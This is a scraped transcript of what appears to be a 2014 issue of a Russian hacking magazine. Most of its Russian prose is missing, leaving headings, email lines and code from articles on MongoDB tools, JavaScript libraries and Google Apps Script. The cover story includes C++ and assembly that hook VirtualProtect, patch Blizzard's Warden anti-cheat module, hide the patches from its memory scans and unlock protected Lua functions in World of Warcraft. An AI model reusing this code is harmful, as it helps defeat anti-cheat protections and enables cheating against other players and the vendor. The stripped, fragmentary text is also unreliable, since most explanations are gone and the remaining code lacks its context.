haker 08 2014-myjurnal.ru

147
Пробуем делать инъекции в memcached Пишем анализатор логов на Java 8 NewSQL новое поколение баз данных стр. 86 стр. 108 стр. 126 Ƨ187 Лишаем зрения систему античита World of Warcraft, Diablo III и StarCraft 2 Cover Story стр. 14

Upload: vasya-pupkin

Post on 12-Apr-2017

883 views

Category:

Technology


19 download

TRANSCRIPT

  • memcached

    Java 8

    NewSQL

    . 86 . 108 . 126

    187

    World of Warcraft, Diablo III StarCraft 2

    Cover Story

    . 14

  • 08 (187) : 06.08.2014

    , , . , , - . 24 , . , - , . , - .

    , , . , - - , , . , , , - , . . , . , !

    . , , , , IT- . , - - , - -, - ? =)

    , ][@ilembitov

    [email protected]

    [email protected]

    : [email protected]. : 115280, , . -, . 19, . : : 606400, ., -, . , ., . 13. : , 614111, , . , . , . 26. , (-), 77-56756 29.01.2014 . Scanweb, PL 116, Korjalankatu 27, 45101 Kouvola, . 96 500 . 360 . . . , - , . . - : [email protected]. , , 2014

    PC ZONE, , [email protected]

    [email protected]

    ant

    [email protected]

    X-MOBILEexecbit.ru

    Dr. Klouniz

    MALWARE, [email protected]

    UNIXOID SYN/ACK

    [email protected]

    [email protected]

    -

    DVD

    ant

    [email protected]

    D1g1

    [email protected]

    shop.glc.ru, [email protected], (495) 663-82-77, (800) 200-3-999 ( , , )

    ([email protected])

    : , 109147, / 25

    29919

    16766

    ,

    29919

    PR-

    [email protected]

    [email protected]

    16+

  • 2014

    187

    004 MEGANEWS

    012

    014 BLIZZARD WARDEN -

    020 Digital Ocean

    026 GOOGLE BOOTSTRAP

    030 DB.FIND()' - - MongoDB

    034 Google

    040 OS X Python 2

    042 : , freeware,

    044 ,

    048 C Google

    054 80

    060

    064 Android ? Google ?

    068 EASY HACK

    072

    078 ,

    080 - ARM

    084 CYBERSECURITY FOR THE NEXT GENERATION 2014 -

    086 MEMCACHED

    090 X-TOOLS

    092 SIMPLOCKER: CRYPTOLOCKER'A Android

    096 ARDUINO -, 2 ATmega 2560

    102 ?

    108 JAVA 8 Java

    112 programmer interview

    116 , ARM ?

    120 RHEL 7

    126 NEWSQL?

    132

    135 THECUS N2310 NAS

    138 FAQ

    144 WWW2 -

  • Google I/O , Android 5.0 (L) Android One. , .

    Android 5.0, , - Android One, - Google. - - , (- ) . , , , Google. - , 100 .

    Android L, - Lollipop, , , L ( 5.0). , ,

    L 50. - , . . Material Design, - , - . Android RunTime (ART), - Dalvik. , -. Android L Android for Work, - .

    - Android Silver, Nexus, . - Android Engineering and Googles Nexus , , Nexus , Android L . , - Silver , -, .

    MEGANEWS

    C

    Mifrill [email protected]

    Google Ara. , -.

    GOOGLE I/OANDROID L --

    , GOOGLE

    (ANDROID TV) (ANDROID AUTO), - ANDROID WEAR,

    - , API FIT - .

  • , , - . - ,

    ( , Google 12 -

    , ?

    MTV , .

    , , 2008 , Nokia Microsoft , - . , Reuters , - - ( , , ).

    -, Nokia . Nokia -? , Symbian . 2007 Nokia 50% , Symbian , - . Nokia - , - - .

    NOKIA

    -

    , -

    - ,

    GOOGLE

    .

    41). Google - , , .

    , -, , , . . , BBC , - bbc.co.uk - Google. , - , Merrill Lynch . : - , - - . , , , Google , - , -, Stan ONeal - . , .

    - - Google play. , -. , , .

    , ANDROID

    08 /187/ 2014 5

  • - . , . -

    , , -. . 1000 .

    - Google. - Google I/O Google Cardboard (developers.google.com/cardboard) , . Android 4.2+ , , 19 , . NFC- ( - ). , , Amazon eBay 1015 . - - Cardboard, - . 20 80 .

    OCULUS RIFT . ,

    - Oculus Rift Development Kit 2 (DK2), - -. - 10 . 45 - .

    Google

    Google -

    . , , - URL- Gmail. , 37 - . Google - , 500 .

    ,

    Xanadu

    , . Xanadu , 1960 ! , Xanadu . -, - .

    54

    $500 , , - iPhone. Apple: . -. -, .

    , APPLE

    MEGANEWS6

  • 29 656,51306529 BTC ( 18 ), - Silk Road. 27 ,

    16 -, 23 - 200 . - , . non grata , -, Silk Road, .

    , 3000 BTC 2657 BTC. , , - Silk Road. , - , - , .

    , , - . , SecondMarket - , . , , -

    BTC, , SILK ROAD,

    , . - , : 20 - - - , . , , . 20 29 657 BTC 674 1 BTC. , BC. BTC 650 !

    , , . - cc: bcc: - . . , 45 , 63 . - : , - ; -, ; , WilmerHale; , DigitalBTC 2009 .

    . , -, - 29 657 BTC,

    , , .

    - . , - , .

    46 , 59% - .

    - 4,7 , - -. 2010 - .

    2 , - . 12 2 - .

    200- - Trojan-Game Thief.

    BTC

    650 $

    08 /187/ 2014 7

  • - , (). , ( 2013 ).

    , AMC ICPC, , - . , , , . - - (: , , , -). . . . , . , . , , - , . -, , .

    , - - , ( ) .

    PRIVACY?

    EMC , 15 15 . : ?

    Amazon - -, .

    21 , - . , 3270 . 200 ( 11.4 - ), - - PR, , . - , - , . , , .

    , - . - , , , , .

    -

    ACM ICPC 2014

    27% - , . 38%. 13%.

    39% - . 42% - . 50%.

    40% , - . 33%.

    08 /187/ 2014MEGANEWS8

  • Windows ReactOS Community Edition - . Indiegogo 25

    50 .

    Baidu -

    . Google Flu Trends.

    Google

    - Google Domains. - Google

    Squarespace, Wix, Weebly Shopify.

    ZDNet ,

    Windows 9 - 2015 .

    TrueCrypt . , SourceForge , , - TrueCrypt ,

    . , - BitLocker ( ), Windows 8/7/Vista . , , TrueCrypt , .

    , , - , . - , Badon MediaWiki Tor, , - , - . ? , - . , Using TrueCrypt is not secure as it may contain unfixed security issues uti nsa im cu si, If I wish to use the NSA ( ). , . , - , - . , - , , .

    , , . TrueCrypt. , , , - TrueCrypt, . - TrueCrypt TrueCrypt, , -. Pastebin (pastebin.com/RS0f8gwn), . , : , , , . TrueCrypt , - . , , . TrueCrypt - , .

    TRUECRYPT

    Open Crypto Audit Project, - TrueCrypt

    ( ),

    GitHub - TrueCrypt

    7.1a, .

    , , TRUECRYPT -

    08 /187/ 2014 9

  • , Microsoft , - Android-. - 12 . , , Android- ( 200), -

    , , .

    310 - Microsoft, 127 Android. 14 , Android- Barnes & Noble 2011 . Microsoft Nokia.

    : www.mofcom.gov.cn/article/difang/henan/201404/20140400547823.shtml, , , . -, , . , 8255379 (Customer Local Search), 5813013 (Representing Recurring Events) 6799047 (Locating and tracking a user in a wireless network through environmentally profiled data).

    MICROSOFT ANDROID- MICROSOFT

    , - . - App Store - .

    ,

    Wargaming

    - - Microsoft Rockstar, 4,5 - - - Nortel 2011 .

    10

    IBM IBM Security Services 2014 Cyber Security Intelligence Index, 1000 133 . . , , , .

    Raspberry Pi

    -, - , . , - 150 Raspberry Pi . Raspberry ZX Spectrum (5 ), , , :).

    3 000 000

    95%

    08 /187/ 2014MEGANEWS

  • Amazon , . - , game changer, . -

    , .

    , , , . Fire Phone Fire OS 3.5 ( Android, Amazon ). Amazon , . - , -, , . , 3D , 3D . , , . - . - . , (- ). 120 . , . , - . API Dynamic Perspective .

    , Amazon , . - Firefly , ( , , , DVD CD, - QR-). Firefly , Fire Phone - . , , , Amazon , . , Amazon : , . , , .

    AMAZON - FIRE PHONE ,

    Fire Phone 649 749 (32 64 -). - , . - - , , - . Amazon 23 .

    YouTube 60fps (- ), Kickstarter, Indiegogo -

    .

    DuckDuckGo :

    BTC-,

    .

    . . - , . -

    .

    Supermicro , ( - -), . - 32 -

    .

    IPS- 4,7 , 720p

    Qualcomm Snapdragon 2,2

    GPU Adreno 330

    2

    2400

    13 F/2,0

    2,1-

    - Dolby Digital Plus

    Mayday ( )

    Cloud Drive

    08 /187/ 2014 11

  • () : - . - , , , , , , . - - - .

    , , GoPro - ( --, ). , AR.Drone - ( , - -). , - , Wi-Fi .

    - , - , - , . - , AR.Drone 8- .

    , , - . - , AR.Drone, .

    AR.DRONE ? , AR.Drone , , - , . , : Wi-Fi,

    ; 1 CPU, 125 M Memory; ( , ); Linux (BusyBox);

    ( - ).

    , , - Wi-Fi, . ,

    -, .

    , , - AR.Drone , .

    ? AT-, . , - GitHub. - NodeCopter, - Node.js.

    , Node.js NodeCopter:

    $ npm install ar-drone

    , , Wi-Fi, FreeFlight, .

    NodeCopter:

    var arDrone = require('ar-drone');var client = arDrone.createClient();client.takeoff();client .after(5000, function() { this.clockwise(0.5); }) .after(3000, function() { this.animate('fl ipLeft', 15); }) .after(1000, function() { this.stop(); this.land(); });

    -, , , , -, flip () . : - - , . - , .

    , , . : , - 360 , , . - -, , - ( ar-drone-png-stream). , - , , ardrone-panorama. , :).

    ? , - AR.Drone, -.

    , , - . ar-drone-png-stream, , node-dronestream ( ). copterface, - , node-opencv. , -, .

    , , - . (drone-browser), - (ipad-ardrone-controller), PlayStation 3 (node-drone-joystick) Kinect (drone-kinect). Oculus Rift Google Glass, - . .

    - , - . , GPS-, AR.Drone , . ardrone-autonomy, -.

    , AR.Drone - . , :).

    , - AR.Drone , , Wi-Fi. - .

    08 /187/ 2014 Header 13

  • , - , : - - . Blizzard , .

    BLIZZARD WARDEN

    [email protected]

    - -

    08 /187/ 201414 Cover Story

  • Warden ( -, ) - Blizzard. , -

    Battle.net, -, World of Warcraft, StarCraft II Diablo 3. Battle.net, Warden.

    , , , - Warden. : , , , . , Warden . - Battle.net

    , Portable Executable, - . , Warden .

    Warden , , Warden, , . Warden :1. -

    .2.

    .3. .4. .

    - . - , , - . - , , , , . - Battle.net ( ) .

    Warden, - , : , - , , , . , . :

    -

    Warden

    INFO

    ( ) : -

    .

    08 /187/ 2014 Blizzard Warden 15

  • 1. .

    2. , DirectX Device.EndScene().

    3. ( -).

    . - ( EndScene()) , - , , Warden - . . (,

    , StarCraft maphack), , - . .

    , Warden. -, , . , breakpoint ( -- , ). , ( ) World of Warcraft, breakpoint - 0x0045A6F0, :

    MASMpush esipush edicldmov edx, dword ptr ss:[esp+14h]mov esi, dword ptr ss:[esp+10h]mov eax, dword ptr ss:[esp+0Ch]mov ecx, edxmov edi, eaxshr ecx, 2je short ; , ; .; ; rep movs dword ptr es:[edi], dword ptr ds:[esi]mov cl, 3and ecx, edxje short rep movs byte ptr es:[edi], byte ptr ds:[esi]pop edipop esiret

    Warden

    08 /187/ 2014Cover Story16

  • , , - , , . - , , . WoW Wow.exe ( 32- ), , , . Warden VirtualAlloc(), , , , , .

    C++void VA_hook_(DWORD dwCallAddr, DWORD dwMemBlock, DWORD dwSize){ if ( dwMemBlock && dwSize > 0x2000 ) { Logger::OutLog("Allocated block:%.8x - %.8x, called from:%.8x\r\n", dwMemBlock, dwMemBlock+dwSize, dwCallAddr ); }}

    : Warden - , , - :

    C++Scanner::TPattern WardenPattern ("\x56\x57\xFC\ x8B\x54\x24\x14\x8B\x74\x24\x10\x8B\x44\x24\x0C\ x8B\xCA\x8B\xF8\xC1\xE9\x02\x74\x02\xF3\xA5","x26");DWORD WardenProc = (DWORD) Scanner::ScanMem ( &WardenPattern );

    if ( WardenProc ){ Logger::OutLog("Warden::Scan proc:0x%.8X\r\n", WardenProc);}else Logger::OutLog("Warden::Scan proc not found\ r\n");

    - Warden, VirtualAlloc() , , - Warden. , . , , , - , -, Warden. VirtualProtect(), - :

    MASMlea ecx, [ebp+fl OldProtect]push ecx ; lpfl OldProtectpush dword ptr [esi+8] ; fl NewProtectpush eax ; dwSizepush ebx ; lpAddresscall ds:VirtualProtecttest byte ptr [esi+8], 0F0hjz short loc_A5BE9Cpush [ebp+dwSize] ; dwSizepush ebx ; lpBaseAddresscall ds:GetCurrentProcess

    push eax ; hProcesscall ds:FlushInstructionCache

    -, call ds:VirtualProtect, - :

    C++// __declspec(naked) void WardenLoader_hook( LPVOID lpAddress, SIZE_T dwSize, DWORD fl NewProtect ) { __asm { push ebp mov ebp, esp pushad } // , if ( fl NewProtect==PAGE_EXECUTE_READ ) // Warden WardenModulePatch(lpAddress, dwSize); __asm { popad pop ebp jmp dword ptr[VirtualProtect] }}

    Warden, - , - . (, ) -, - :

    INFO

    - - , -, ,

    : www.ownedcore.com/forums/.

    - , - (). , , , , - , , -. -. : xA?B ( A B , x , , ? ).

    :

    ++// // , // Scanner::TPattern SamplePattern ("\x56\x57\xFC\x00\x00\x90", "x3?2x1");

    /* , 0x56, 0x57, 0xFC, , 0x90*/// , // pMemBase dwSizeDWORD dwProc = (DWORD) Scanner::FindPattern( pMemBase, dwSize, &SamplePattern );

    .

    08 /187/ 2014 Blizzard Warden 17

  • C++/* pAddr pData dwDataSize */BOOL Patcher::MakePatch( PBYTE pAddr, PBYTE pData, DWORD dwDataSize ){ BOOL fRes = false; DWORD dwOldp; if ( VirtualProtect( pAddr, dwDataSize, PAGE_EXECUTE_READWRITE, &dwOldp) ) { // // pPatchStruc = &Patches[dwPatches]; pPatchStruc->addr = dwAddr; pPatchStruc->len = dwSize; memcpy( pPatchStruc->org , (PVOID) dwAddr, dwSize ); // memcpy( pAddr, pData, dwDataSize ); dwPatches++ fRes = true; } return fRes;}

    , - , . - :

    C++bool PatchVirutalProtect(){ bool bRetval = false; PBYTE bCode = (PBYTE) "\xE8\x90\x90\x90\x90\ x90"; // call rel32 DWORD pProc = (DWORD) GetProcAddress ( GetModuleHandleA( "KernelBase.DLL"), "VirtualProtect" ); *((PDWORD)(bCode+1)) = DWORD)&VP_hook - ((DWORD)pProc+5); if ( Patcher::Instance()->MakePatch( (PBYTE) pProc, bCode, 5 ) ) { Logger::OutLog( "VirtualProtect patched at: %x\r\n", pProc ); bRetval = true; } else Logger::OutLog( "VirtualProtect patch failed\r\n" ); return bRetval;}

    , , , , , .

    WARDEN, -, Warden , -

    SRC

    - - , , . , ,

    .

    WoW, battle.net.dll, - - . , , VirtualProtect(), battle.net.dll, - :

    ++void VP_hook_internal( DWORD dwCallAddr, DWORD dwMemBlock, DWORD dwSize, DWORD fl NewProtect) { // battle.net.dll if (dwCallAddr - WardenLoaderHack::dwBNetBase < WardenLoaderHack::dwBNetImageSize) { // if ( dwMemBlock && fl NewProtect==PAGE_EXECUTE_READ ) { MEMORY_BASIC_INFORMATION Mem; // if ( VirtualQuery( (PVOID) dwMemBlock, &Mem, sizeof (MEMORY_BASIC_INFORMATION)) ) { // Warden if ( *(PDWORD)Mem.AllocationBase == '2LLB' ) { Logger::OutLog("Warden image found at:%.8X, code section:%.8X\r\n", Mem.AllocationBase, dwMemBlock); // Warden WardenModulePatch(dwMemBlock, dwSize);} } } } }

    BLIZZARD?

    08 /187/ 2014Cover Story18

  • . , , -.

    Warden - , - . , , ( ) , - . : , . , , :

    C++// // - ? for ( unsigned int i=0; i< dwPatches; i++) // if ((PatchList[i].addr - dwAddr < dwSize) || (dwAddr - PatchList[i].addr < PatchList[i].len)) { pCurrentPatch = &(PatchList[i]); break; }

    , :

    C++if (!pCurrentPatch) { // // memcpy(pOutBuff, (PVOID)dwAddr, dwSize);}else{ // for ( unsigned int i=0; i< dwSize; i++) { unsigned int delta = dwAddr+i - pCurrentPatch->addr; byte* pCurrent; // ? if( delta < pCurrentPatch->len ) pCurrent = pCurrentPatch->org + delta; else pCurrent = (PBYTE)(dwAddr+i); pOutBuff[i] = *pCurrent; }}

    - , Warden, - , , Warden - .

    PROOF OF CONCEPT - - World of Warcraft - 0x008C9A3E, - Warden. , , Lua- ( WoW API ). - :

    MASMmov ebp, espmov edx,dword ptr ss:[ebp+8]

    Warden -

    WARNING

    , - - ,

    - Blizzard

    Entertaiment.

    mov eax,dword ptr ds:[17A5B10]xor ecx,ecxpush esicmp dword ptr ds:[15FBAA8],ecxje short 01309A84cmp edx, 22

    , - , ( ). , - WoW API, , (- : , , ). :

    C++PBYTE bCode = (PBYTE) "\xEB"; // JMP SHORTScanner::TPattern Pattern( "\x33\xC9\x56\x39\x0D\ xFF\xFF\xFF\xFF\x74\x44\x83\xFA\x22", "x5?4x5");DWORD dwProc = (DWORD) Scanner::ScanMem ( &Pattern );if ( dwProc ){ DWORD dwProcChangeOffset = dwProc+9; if ( Patcher::Instance()->MakePatch ( (PBYTE)dwProcChangeOffset, bCode, 1 );}

    - WoW API, Warden - . -, -.

    . Blizzard , . - Lua WoW . - - , . - . , !

    08 /187/ 2014 Blizzard Warden 19

  • 08 /187/ 2014Cover Story20

  • Digital Ocean , DO . Digital Ocean , -, CDN, - Windows. : , - API, SSD . , Digital Ocean - , .

    DIGITAL OCEAN

    08 /187/ 2014 21

  • DIGITAL OCEAN

    08 /187/ 2014Cover Story22

  • DO? - -, , Amazon, Google, Microsoft. , ? DO , - , . . , , - - .

    , -, , , , , . , , , , :).

    , , . , - . , . , -, - -.

    , ? -? , , , . , . - , - . - , . - -, , , . , , - CRM-. Rails.

    , , , . - -, . , - .

    - ( OpenStack)? , . - CloudStack, OpenStack, Eucalyptus - , . . -, , - , - API . , , .

    ? ?

    - Digital Ocean, . , , - , . , - :). DO , .

    DO New York Tech Meetup, Meetup.com. 700800 , . , , , GitHub, , - -.

    , , - , , . . , . , .

    , - ?, , TechStar New York City TechStars, : , -, , . , . , Boulder (boulder.me). , . , : Amazon AWS , , . : , - , .

    , , , - . . - , . , - , -, , - , . , -, - . , , , , , . - , - . , .

    DIGITAL OCEAN ? Go ? . - (MVP), , , - . - , , - . - , .

    DIGITAL OCEAN200 000

    ,

    08 /187/ 2014 23

  • , 2013 , , , - . , , .

    , , . Go, , , . , - . , , Go .

    , , . , : , - , -. , -, Go . , Go, , ,

    , . - ,

    , .

    Digital Ocean? , -, . -

    . - , . , - , ,

    , , .

    , OpenStack . - - - , - . , - - , - , , - . , - . - : , - , . OpenStack , - . , - , .

    ? Dell SuperMicro. -, . . -, - - , , , . , Dell, -, , , . , - , , , 12 . . , .

    PaaS . - . , -? . - , , . -. 12% . , 3040%! Digital Ocean .

    , . , : , DDoS, , . , - , - . , - . , , . , - . -, , .

    - ?, . - , - , - . , , , ... : , -, , - . - , , -. , .

    - . , . -

    . - , -, -

    - , -: , DDoS, - ,

    2013 Digital Ocean AWS - Netcraft. ,

    1,000

    0Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec

    2,000

    3,000

    4,000

    5,000

    6,000

    7,000

    8,000

    9,000

    Amazon Digital Ocean

    Amazon vs DigitalOcean: Rate of GrowthMonth-on-month growth in web computer during 2013

    08 /187/ 2014Cover Story24

  • , , . , , , - , . , , - , , - . . , .

    , DO, , , . ? , -, . - , . , .

    , - . , , - . , , - , . - , -. , .

    , - . , . , . , , .

    DO API. . - API? , ; - , - . API -, . . , - .

    : API RESTful. , - Google, wrappers . .

    : API , . , DO. API OAuth, - ID -. .

    -. . . , - , .

    DO , ? , , , , . , - , . , , -. - -, . -. , - .

    , , . , , , , -.

    , . , - , - . DO , ? , , . : , -. , , - ? . , -, , -. , , , , .

    Digital Ocean, , , . , , -, , Linux, DO. Linux , Linux . -, -, , .

    , , - . . , - , open source. , , - , open source -.

    , , ? , - . , , , , . -, , - . , . , - : , , , . , , , , , . -, , - , , , , : . - , . , . , , .

    2 000 000

    08 /187/ 2014 25

  • GOOGLE BOOTSTRAP

    [email protected]

    @ilya_pestov

    Spin.js

    fgnass.github.io/spin.js/ , - . - , , , , , , .

    var opts = { // The number of lines to draw lines: 13, // The length of each line length: 20, width: 10, // The line thickness // The radius of the inner circle radius: 30, // Corner roundness (0..1) corners: 1, rotate: 0, // The rotation offset // 1: clockwise, 1: counterclockwise direction: 1, // #rgb or #rrggbb or array of colors color: '#000', speed: 1, // Rounds per second trail: 60, // Afterglow percentage // Whether to render a shadow shadow: false, // Whether to use hardware acceleration hwaccel: false,

    Web Starter Kit

    developers.google.com/web/starter-kit/Google - . - Polymer -, PageSpeed Insights - , Web Fundamentals, - -.

    Web Starter Kit boilerplate - -. - , -, live reloading, - , - , - .

    // CSS class to assign to the spinner className: 'spinner', // Z-index (defaults to 2000000000) zIndex: 2e9, // Top position relative to parent top: '50%', // Left position relative to parent left: '50%'};var target = document. getElementById('foo');var spinner = new Spinner(opts). spin(target);

    , - , . GitHub , . , .

    08 /187/ 201426 PC ZONE

  • Ampersand.js

    ampersandjs.com -. - CommonJS-. npm, - real-time . - . Todo- (github.com/AmpersandJS/todomvc), -, Ampersand :).

    Ouibounce

    github.com/carlsednaoui/ouibounce -. . -, , . , ? - Ouibounce.

    Epoch

    github.com/fastly/epoch/ - (Ryan Sandor Richards) -. Epoch.js - : - - . D3 jQuery, -, 3000 GitHub.

    NodeBB

    nodebb.org- -ready Node.js - EventEmitter callback-hell. -, Node.js , - :). , , Node.js , - Ghost (, CMS - Calip.so KeystoneJS). , , .

    NodeBB Node.js. , , . , - , -. - , .

    , seft-hosted , - NodeBB . , , , .

    Collection.js

    collectionsjs.com JavaScript- - . , . Collection.js , List, Object, Map, Dict Deque Array Set , .

    , -, : - ? , ? X, Y Z! , , . .

    08 /187/ 2014 Google Bootstrap 27

  • Odyssey.js

    github.com/CartoDB/odyssey.js , - . , , , . :

    function ShowHideAction(el) { return O.Action({ enter: function() { el.show() }, exit: function() { el.hide() } });}story.addState(O.Keys().right(), ShowHideAction ($('#element')));

    Outdated Browser

    github.com/burocratik/outdated-browser - -... . - , , .

    Your browser is out-of-date! Update your browser to view this website. Update my browser now

    $( document ).ready(function() { outdatedBrowser({ bgColor: '#f25648', color: '#ffffff', lowerThan: 'transform' })})

    Smallworld.js

    github.com/mikefowler/smallworld.js , 5 , - - GeoJSON HTML5 Canvas. jQuery Zepto.

    $('.map').smallworld({geojson: data});// $('.map').smallworld({ center: [45, -50], markers: [ [37.757719928168605, -122.43760000000003], [51.528868434293145, -0.10159864999991441], [40.705960705452846, -73.9780035] ], markerSize: 8});

    Awesome Awesomeness

    github.com/bayandin/awesome-awesomeness, - GitHub, , , -. -. Awesome PHP, Ruby, Node.js, Python, Go, Java . , Awesome Awesomeness, , - . .

    08 /187/ 201428 PC ZONE

  • db.find()'

    - -

    MONGODB

    [email protected]

    PC ZONE 08 /187/ 201430

  • , MongoDB 90% . , , , , , . , - ORM , - . , - ? -. ?

    MongoDB , . , . - , ,

    .

    -, , MongoDB, 10gen - MongoDB . , . -, , -, . , . ( Angular c Docker) , . - , -, , , - , , .

    , - , . , , -. , , - , - MongoDB.

    ROBOMONGOrobomongo.org

    Robomongo - MongoDB. -, GUI. -, plaintext JSON-.

    Robomongo . -, layout. - , . -, - ( ), . , - , . -, Robomongo , - , . Robomongo - CRUD- , - - - .

    , Robomongo - . CRUD-, - .

    Robomongo - , -, , - , - .

    08 /187/ 2014 db.find()' 31

  • GENGHISgenghisapp.com

    Genghis , web-based - CRUD- Mongo. - Ruby Sinatra, PHP Apache nginx + PHP-FPM. Backbone. - , - ( , , ).

    Genghis . Windows. , , . , -, - , , , , db.find().

    Genghis . , - CRUD-, - . Genghis - MongoHub, - MongoDB OS X, . , , .

    ROCKMONGOrockmongo.com

    RockMongo web-based , - phpMyAdmin. PHP php_mongo, , , (j.mp/1k6SxwB).

    RockMongo phpMyAdmin. , layout - . (, :)). - . RockMongo - , ( ) , Mongo dev-. , , , - , . , RockMongo .

    RockMongo , , -, - phpMyAdmin. . 1.

    PC ZONE 08 /187/ 201432

  • UMONGOedgytech.com/umongo

    UMongo , MongoDB. - Windows, OS X Linux, , - , GitHub (github.com/agirbal/umongo). Java.

    UMongo MongoDB, . , - CRUD- . MongoDB, ditinct, group, aggregate, map reduce. - .

    UMongo , , , , .

    - CSV, JSON, BSON ( ).

    UMongo -, -, MongoDB. CRUD- ( - ) .

    MVIEWERgithub.com/Imaginea/mViewer

    MongoDB tool that understands comfortability YouTube (youtu.be/PbgNtvjc3Ug). . MongoDB -, web-based . , .

    , . mViewer , CRUD- , . CRUD- . - - read/write.

    , . , , . 0.9.2 , , , - , ( - Maven):

    git clone https://github.com/Imaginea/mViewer.gitcd mViewermvn clean package -Prelease -DskipTestscd targetls mViewer-0.9.2.*

    mViewer daily-. -, Java, -. - MongoDB, .

    db.find()' 08 /187/ 2014 33

  • GOOGLE

    GOOGLE

    Google Apps Script -, 2009 . JavaScript, - Google. , , - - Google Apps Script.

    R

    ich

    ard

    Gre

    en

    hill

    an

    d H

    ug

    o E

    lias

    of t

    he

    Sh

    ad

    ow

    Ro

    bo

    t Co

    mp

    an

    y

    [email protected]

    08 /187/ 201434 PC ZONE

  • . 1.

    . 2. -

    . 3. , -

    Google Apps . - , . Google Docs -. , - (. . 1). :

    function FirstExampleFunc() { Browser.msgBox(" JS!");}

    - - . :

    function menu() { // var ss = SpreadsheetApp.getActiveSpread sheet(); var entries = [ {name: " ", functionName: "FirstExampleFunc"}; // ss.addMenu(" ", entries);}

    ExampleFunc, - .

    -, (. . 2).

    3

    2

    INFO

    ,

    / , , GS

    .

    INFO

    , , , , .

    1

    08 /187/ 2014 35

  • . 4. ID

    :

    "MailApp.sendEmail('[email protected]', ' ', ' )"

    , (- ):

    var sheet = SpreadsheetApp.getActiveSheet(); var numRows = sheet.getLastRow(); var dataRange = sheet.getRange(1, 1, numRows, 2); var data = dataRange.getValues(); for (var i = 0; i < data.length; ++i) { var row = data[i]; var name = row[0]; var email = row[1]; var subject = " "; var message = " , " + name + "!";

    MailApp.sendEmail(email, subject, message);}

    , GS - . :

    var threads = GmailApp.search('[email protected]');var arrlen=threads.length;for(var i = 0; i < arrlen; i++) { var messages = threads[i].getMessages(); for(var j = 0; j < messages.length; j++) { messages[j].moveToTrash(); } }

    Google Apps Script References Gmail (goo.gl/ZifJTz).

    INFO

    , - -,

    .

    -, VBA, - - , . Google Script . -, , - JS! Google Docs.

    - :

    var ss = SpreadsheetApp.getActiveSpreadsheet(); var sheet = ss.getSheets()[0];sheet.getRange("A1").setValue(" ");

    :

    var source = DocsList.getFileById("SOURCE_ID");var f = source.makeCopy(" ");var targFolder = DocsList.getFolderById("ID , ");f. ddToFolder(targFolder);

    -:

    var doc = DocumentApp.openById("ID ");

    doc.editAsText().replaceText(" ", " ");Logger.log(doc.getText())

    - :

    var doc = DocumentApp.openById('id ');var textToHighlight = ' ';// . // , // var highlightStyle = {};highlightStyle[DocumentApp.Attribute.FOREGROUND_COLOR] = '#FF0000';// var paras = doc.getParagraphs();var textLocation = {}; for (i=0; i

  • GOOGLE TASKS Google Apps Scripts Google Task -.

    :

    // ID // Google Taskvar tListId="id ,";var newTask = { title: ' ', notes: ' '};

    newTask = Tasks.Tasks.insert(newTask , tListId);Logger.log (" ID "%s" ", newTask.id)

    :

    // var tasks = Tasks.Tasks.list(taskListId);

    for (var i = 0; i < tasks.items.length; i++){ var task = tasks.items[i]; Logger.log(i. ". ",%s, task.title, task.id);}

    - move, update delete.

    -. Google Apps Script References Google Tasks (goo.gl/fX6lcV).

    GOOGLE CONTACTS - . - Google Spread Sheet:

    var group = ContactsApp.getContactGroup(" ");var contacts = group.getContacts();var ss = SpreadsheetApp.getActiveSpreadsheet();var sheet = ss.getSheetByName(" ");for (var i in contacts){ // : , // ,

    sheet.getRange(i, 1, 1, 1).setValue(contacts[i]. getGivenName()); sheet.getRange(i, 2, 1, 1).setValue(contacts[i]. getFamilyName()); sheet.getRange(i, 3, 1, 1).setValue(contacts[i]. getPhones()); // // (!) sheet.getRange(i,4,1,1).setValue (contacts[i].getPager()); }

    : Google Apps Script References Google Contacts (goo.gl/Ud0z2P).

    Google Apps Script .

    :

    var word = LanguageApp.translate(' ','ru', 'es');// "cuco" ( )Logger.log(word);

    Google Translate.

    : Google Apps Script References Google Language (goo.gl/pHLelC).

    GOOGLE TRANSLATEGoogle Apps Script , Google Drive. :

    var fi les = DriveApp.getFiles();while (fi les.hasNext()){ var fi le = fi les.next(); Logger.log(fi le.getName());}

    . - : addEditor("email ") -

    ; getOwner() ; makeCopy("", "") ; getLastUpdated() , .

    GOOGLE DRIVE

    GOOGLE APPS SCRIPT -

    WARNING

    - . , GS,

    .

    08 /187/ 2014 37

  • Google Cloud SQL. MySQL . Google Apps Script Java Database Connectivity. , - :

    var conn = Jdbc.getConnection(dbUrl, user, user Pwd);var start = new Date();var stmt = conn.createStatement();stmt.setMaxRows(1000);var results = stmt.executeQuery('SELECT * FROM entries');var numCols = results.getMetaData().getColumnCount();while (results.next()) {var rowString = '';for (var col = 0; col < numCols; col++){ rowString += results.getString(col + 1);} Logger.log(rowString);}results.close();stmt.close();

    88 10 . Google Apps Script, , . - , , - . : Google Drive; ,

    {php}{hode.js}{python}{ . .} , - JSON XML, , , GS. Google Cloud SQL: goo.gl/YujtWf.

    GOOGLE CLOUD SQL , , MYSQL

    ( , , ).

    :

    var timeZone = CalendarApp.getTimeZone();var desc = Utilities.formatString('%s from %s to %s', " "), dateString(" ", " "), dateString(" ", " " )); CalendarApp.createEventFromDescription(desc);

    Google Script References Calendar: goo.gl/j6ookK.

    ( - ) . -: , , ( -, Google-).

    -, - - . : - . Google Script -, Publish Deploy as web app.

    Google Gadgets: goo.gl/Anqdcm.

    , . , /- . Events: goo.gl/vqbw2F.

    WARNING

    , Gmail ,

    . 500

    Google Apps Script .

    , , GitHub: autodeletemail.gs , n-

    ; snoozeemails.gs

    ; sendsmsaboutemails.gs SMS ,

    . Google Calendar;

    savemailtopdfindrive.gs Google Drive;

    fromcalendartospreadsheet.gs - ;

    sendmailsfromspreadsheet.gs - ;

    createdocsfromspread.gs .

    SRC

    08 /187/ 201438 PC ZONE

  • GOOGLE API , , GOOGLE APPS SCRIPT.

    , - Google. , Google Apps Script. Google Mail .

    , . - Google+ - .

    Google Calendar . SMS- .

    Google Contacts . , - , Google , .

    Google Drive . 15 , - , .

    Google Maps -. , - .. -

    . Google Maps , , , . , Kotlas, , Oktyabrskiy, i.

    Google Docs - . - , Microsoft Office. - Quickoffice. Google Docs ( ). docx - , .

    Google Forms (-, , ), w (HTML, CVS, TXT, PDF, RSS, XLS, ODF). Google Drive.

    Google Sites (100 ) - wiki-. HTML, CSS JS .

    , GOOGLE APPS SCRIPT

    ADVANCED GOOGLE SERVICES Google API , - , Google Apps Script. - ( Resources, Advanced Google services). - : Google AdSense

    . Google Analytics

